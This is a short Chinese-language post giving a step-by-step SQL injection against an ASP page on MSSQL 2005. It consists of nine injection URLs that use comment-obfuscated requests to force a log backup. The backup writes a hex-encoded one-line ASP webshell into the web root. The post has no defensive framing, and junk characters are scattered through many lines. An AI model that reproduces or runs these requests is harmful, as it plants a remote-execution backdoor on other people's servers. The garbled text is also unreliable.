Mssql2005 Log备份Webshell

admin

第一步
http://itpro.blog.163.com/test.asp';alter/**/database/**/[netwebhome]/**/set/**/recovery/**/full[/url]--

第二步：
9 y7 N  y2 H& Y% q& M( Hhttp://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/database/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--
, F. ^3 J. p& B+ ]) w$ G5 X
* W$ y+ d' _& b* x9 x2 B' B第三步
2 t' x0 M: H2 O3 _http://itpro.blog.163.com/test.asp';drop/**/table/**/[itpro]--

第四步
% F" y$ z) \4 N7 i# H0 a4 {( _! ^http://itpro.blog.163.com/test.asp';create/**/table/**/[itpro]([a]/**/image)--

第五步
/ d" t" e7 r6 h$ C% I- Jhttp://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/log/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--
8 m; Z( W7 w& K0 X2 `9 N
& A+ Z8 h$ j) s4 g& d第六步
' o3 x& T) t' q' Ahttp://itpro.blog.163.com/test.asp';insert/**/into/**/[itpro]([a])/**/values(0x3C254578656375746528726571756573742822697470726F222929253E)--

- J& _$ M3 h4 s( {2 y" x* l第七步
http://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%0x64003A005C007700770077005C0077007700770072006F006F0074005C0077006F0077005C006C006500660074002E00610073007000/**/backup/**/log/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--

第八步
http://itpro.blog.163.com/test.asp';drop/**/table/**/[itpro]--

第九步
$ g: f% B- c8 O5 `; yhttp://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/log/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--
8 u8 U6 G$ g/ M" z* L0 H